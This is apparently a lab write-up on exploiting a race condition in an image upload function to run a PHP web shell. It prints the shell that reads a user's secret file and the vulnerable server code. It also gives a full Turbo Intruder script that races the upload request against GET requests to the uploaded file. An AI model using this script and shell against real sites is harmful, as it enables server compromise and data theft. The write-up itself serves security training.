Web shell upload via race condition
This lab contains a vulnerable image upload function. Although it performs robust validation on any files that are uploaded, it is possible to bypass this validation entirely by exploiting a race condition in the way it processes them.
In my typical workflow, I executed the tasks while intercepting everything through the Burp proxy. By reviewing the HTTP history, I identified that the server fetched my uploaded image using a GET request to /files/avatars/<IMAGE>
.
I devised a simple PHP script named exploit.php
, aiming to retrieve the contents of Carlos's secret. Despite my attempts to upload the file, the server proved vigilant, strictly enforcing the acceptance of image files only. Various techniques I applied from previous labs failed to bypass this robust security check.
<?php echo file_get_contents('/home/carlos/secret'); ?>
However, recognizing that this lab exploits a race condition vulnerability, I adopted a strategy to abuse the race condition in the file upload process. The vulnerable code, allowing this race condition, is revealed in the server-side logic:
<?php
$target_dir = "avatars/";
$target_file = $target_dir . $_FILES["avatar"]["name"];
// temporary move
move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file);
if (checkViruses($target_file) && checkFileType($target_file)) {
echo "The file ". htmlspecialchars( $target_file). " has been uploaded.";
} else {
unlink($target_file);
echo "Sorry, there was an error uploading your file.";
http_response_code(403);
}
function checkViruses($fileName) {
// checking for viruses
...
}
function checkFileType($fileName) {
$imageFileType = strtolower(pathinfo($fileName,PATHINFO_EXTENSION));
if($imageFileType != "jpg" && $imageFileType != "png") {
echo "Sorry, only JPG & PNG files are allowed\n";
return false;
} else {
return true;
}
}
?>
This PHP script checks for viruses and file types after temporarily moving the uploaded file. It presents an opportunity for exploitation within a small time window before the file is removed. Leveraging this vulnerability, I aimed to execute the file before the security checks are completed.
For efficiency, I utilized the Turbo Intruder extension in Burp Suite, allowing me to automate the exploitation process easily. I provided a script template into Turbo Intruder's Python editor to perform a race condition attack. The script submitted a POST request to upload my exploit.php
file, swiftly followed by 5 GET requests to /files/avatars/exploit.php
.
Here's a snippet of the Turbo Intruder script:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)
request1 = '''POST /my-account/avatar HTTP/2
Host: ****.web-security-academy.net
Cookie: session=qbKls6FCnA2xQLXf1VTL4cmwT7YuHjSY
Content-Length: 473
.....
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
------WebKitFormBoundarybo7Qw7wwSiOeQAJI
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: application/octet-stream
<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundarybo7Qw7wwSiOeQAJI
Content-Disposition: form-data; name="user"
wiener
------WebKitFormBoundarybo7Qw7wwSiOeQAJI
Content-Disposition: form-data; name="csrf"
MIQdU2JeWbwUtxWcGNmayODgFooCYEWV
------WebKitFormBoundarybo7Qw7wwSiOeQAJI--
'''
request2 = '''GET /files/avatars/exploit.php HTTP/2
Host: ****.web-security-academy.net
Cookie: session=qbKls6FCnA2xQLXf1VTL4cmwT7YuHjSY
Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
'''
# the 'gate' argument blocks the final byte of each request until openGate is invoked
engine.queue(request1, gate='race1')
for x in range(5):
engine.queue(request2, gate='race1')
# wait until every 'race1' tagged request is ready
# then send the final byte of each request
# (this method is non-blocking, just like queue)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
So running this script would result of sending a post request to upload the exploit.php file then instantly reaching that file before it gets checked and removed. so after running it I got successful 200 status responses for my get requests which contained the secret of carlos and by submitting this secret the lab is solved.
Upon execution, I received successful 200 status responses for the GET requests, containing Carlos's secret. By submitting this secret, the lab was successfully solved.
Last updated